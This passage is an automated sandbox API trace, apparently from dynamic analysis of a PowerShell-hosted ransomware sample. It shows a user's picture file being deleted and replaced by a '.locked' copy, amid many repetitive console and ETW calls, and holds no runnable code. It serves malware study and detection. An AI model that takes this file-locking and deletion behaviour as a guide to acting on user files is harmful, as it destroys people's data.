ftLastWriteTime.dwHighDateTime=0x1d4a9f9, nFileSizeHigh=0x0, nFileSizeLow=0x16466)) returned 1 [0136.298] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae444) returned 1 [0136.298] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q\\Ax8vf.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\y45q\\ax8vf.gif")) returned 1 [0136.307] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4f, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.307] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0136.307] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x50, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.307] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4f, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.307] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x50, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x50, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.309] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q\\Ax8vf.gif.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\y45q\\ax8vf.gif.locked")) returned 0x20 [0136.309] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q\\Ax8vf.gif.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\y45q\\ax8vf.gif.locked")) returned 0x20 [0136.310] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q\\Ax8vf.gif.locked", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q\\Ax8vf.gif.locked", lpFilePart=0x0) returned 0x57 [0136.310] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q\\Ax8vf.gif.locked", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q\\Ax8vf.gif.locked", lpFilePart=0x0) returned 0x57 [0136.310] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x50, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.310] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q\\Ax8vf.gif", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q\\Ax8vf.gif", lpFilePart=0x0) returned 0x50 [0136.310] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0136.310] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x51, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.310] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x50, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.310] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x51, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x51, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.312] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x51, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.312] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0136.312] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x52, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.312] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x51, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.312] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x52, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x52, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.314] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x52, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.314] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0136.314] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x53, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.314] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x52, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.314] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x53, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x53, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.316] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x53, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.316] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0136.316] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x54, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.316] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x53, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.316] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x54, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x54, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.318] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x54, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.318] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0136.320] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x55, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.322] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x99add1c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0136.322] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade98) returned 1 [0136.322] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q\\Ax8vf.gif.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\y45q\\ax8vf.gif.locked"), fInfoLevelId=0x0, lpFileInformation=0x6a9be6c | out: lpFileInformation=0x6a9be6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1475ba7d, ftCreationTime.dwHighDateTime=0x1d4bf19, ftLastAccessTime.dwLowDateTime=0x1475ba7d, ftLastAccessTime.dwHighDateTime=0x1d4bf19, ftLastWriteTime.dwLowDateTime=0x1475ba7d, ftLastWriteTime.dwHighDateTime=0x1d4bf19, nFileSizeHigh=0x0, nFileSizeLow=0x16484)) returned 1 [0136.323] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade94) returned 1 [0136.323] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q\\Ax8vf.gif.locked", nBufferLength=0x105, lpBuffer=0x99ad974, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q\\Ax8vf.gif.locked", lpFilePart=0x0) returned 0x57 [0136.323] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q\\Ax8vf.gif.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\y45q\\ax8vf.gif.locked"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x764 [0136.323] GetFileInformationByHandle (in: hFile=0x764, lpFileInformation=0x99adee0 | out: lpFileInformation=0x99adee0) returned 1 [0136.323] CloseHandle (hObject=0x764) returned 1 [0136.339] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae54c | out: lpConsoleScreenBufferInfo=0x99ae54c) returned 1 [0136.341] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae554 | out: lpMode=0x99ae554) returned 1 [0136.342] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae54c, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae54c*=0x2) returned 1 [0136.346] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4f0 | out: lpConsoleScreenBufferInfo=0x99ae4f0) returned 1 [0136.347] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae544 | out: lpConsoleScreenBufferInfo=0x99ae544) returned 1 [0136.347] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae54c | out: lpMode=0x99ae54c) returned 1 [0136.347] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae544, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae544*=0x2) returned 1 [0136.351] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae554 | out: lpConsoleScreenBufferInfo=0x99ae554) returned 1 [0136.351] GetConsoleOutputCP () returned 0x1b5 [0136.351] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2d8) returned 0 [0136.351] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae3a4 | out: lpConsoleScreenBufferInfo=0x99ae3a4) returned 1 [0136.352] GetConsoleOutputCP () returned 0x1b5 [0136.352] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae340, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae340) returned 0 [0136.352] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae3ac | out: lpMode=0x99ae3ac) returned 1 [0136.352] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6ac4360*, nNumberOfCharsToWrite=0x55, lpNumberOfCharsWritten=0x99ae3a4, lpReserved=0x0 | out: lpBuffer=0x6ac4360*, lpNumberOfCharsWritten=0x99ae3a4*=0x55) returned 1 [0136.353] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae3ac | out: lpMode=0x99ae3ac) returned 1 [0136.353] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae3a4, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae3a4*=0x2) returned 1 [0136.357] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4ac | out: lpConsoleScreenBufferInfo=0x99ae4ac) returned 1 [0136.357] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4b4 | out: lpMode=0x99ae4b4) returned 1 [0136.358] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4ac, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4ac*=0x2) returned 1 [0136.361] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae544 | out: lpConsoleScreenBufferInfo=0x99ae544) returned 1 [0136.361] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae54c | out: lpMode=0x99ae54c) returned 1 [0136.362] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae544, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae544*=0x2) returned 1 [0136.365] GetConsoleOutputCP () returned 0x1b5 [0136.365] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae364, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae364) returned 0 [0136.365] GetConsoleOutputCP () returned 0x1b5 [0136.365] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3fc) returned 0 [0136.365] GetConsoleOutputCP () returned 0x1b5 [0136.366] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0136.366] GetConsoleOutputCP () returned 0x1b5 [0136.366] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0136.366] GetConsoleOutputCP () returned 0x1b5 [0136.366] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae364, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae364) returned 0 [0136.366] GetConsoleOutputCP () returned 0x1b5 [0136.367] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3fc) returned 0 [0136.367] GetConsoleOutputCP () returned 0x1b5 [0136.367] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0136.367] GetConsoleOutputCP () returned 0x1b5 [0136.367] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0136.367] GetConsoleOutputCP () returned 0x1b5 [0136.368] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae364, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae364) returned 0 [0136.368] GetConsoleOutputCP () returned 0x1b5 [0136.368] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3fc) returned 0 [0136.368] GetConsoleOutputCP () returned 0x1b5 [0136.368] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0136.368] GetConsoleOutputCP () returned 0x1b5 [0136.369] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0136.369] GetConsoleOutputCP () returned 0x1b5 [0136.369] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae364, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae364) returned 0 [0136.369] GetConsoleOutputCP () returned 0x1b5 [0136.369] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3fc) returned 0 [0136.369] GetConsoleOutputCP () returned 0x1b5 [0136.369] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0136.370] GetConsoleOutputCP () returned 0x1b5 [0136.370] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3d8) returned 0 [0136.370] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4a0 | out: lpConsoleScreenBufferInfo=0x99ae4a0) returned 1 [0136.370] GetConsoleOutputCP () returned 0x1b5 [0136.371] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae43c) returned 0 [0136.371] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4a8 | out: lpMode=0x99ae4a8) returned 1 [0136.371] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6ac5278*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae4a0, lpReserved=0x0 | out: lpBuffer=0x6ac5278*, lpNumberOfCharsWritten=0x99ae4a0*=0x77) returned 1 [0136.372] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4a8 | out: lpMode=0x99ae4a8) returned 1 [0136.372] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4a0, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4a0*=0x2) returned 1 [0136.375] GetConsoleOutputCP () returned 0x1b5 [0136.375] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae49c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae49c) returned 0 [0136.376] GetConsoleOutputCP () returned 0x1b5 [0136.376] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae49c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae49c) returned 0 [0136.376] GetConsoleOutputCP () returned 0x1b5 [0136.376] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae49c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae49c) returned 0 [0136.376] GetConsoleOutputCP () returned 0x1b5 [0136.377] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae49c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae49c) returned 0 [0136.377] GetConsoleOutputCP () returned 0x1b5 [0136.377] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0136.377] GetConsoleOutputCP () returned 0x1b5 [0136.377] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0136.377] GetConsoleOutputCP () returned 0x1b5 [0136.378] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0136.378] GetConsoleOutputCP () returned 0x1b5 [0136.378] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0136.378] GetConsoleOutputCP () returned 0x1b5 [0136.378] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0136.378] GetConsoleOutputCP () returned 0x1b5 [0136.379] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae428, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae428) returned 0 [0136.379] GetConsoleOutputCP () returned 0x1b5 [0136.379] TranslateCharsetInfo (in: lpSrc=0x1b5, 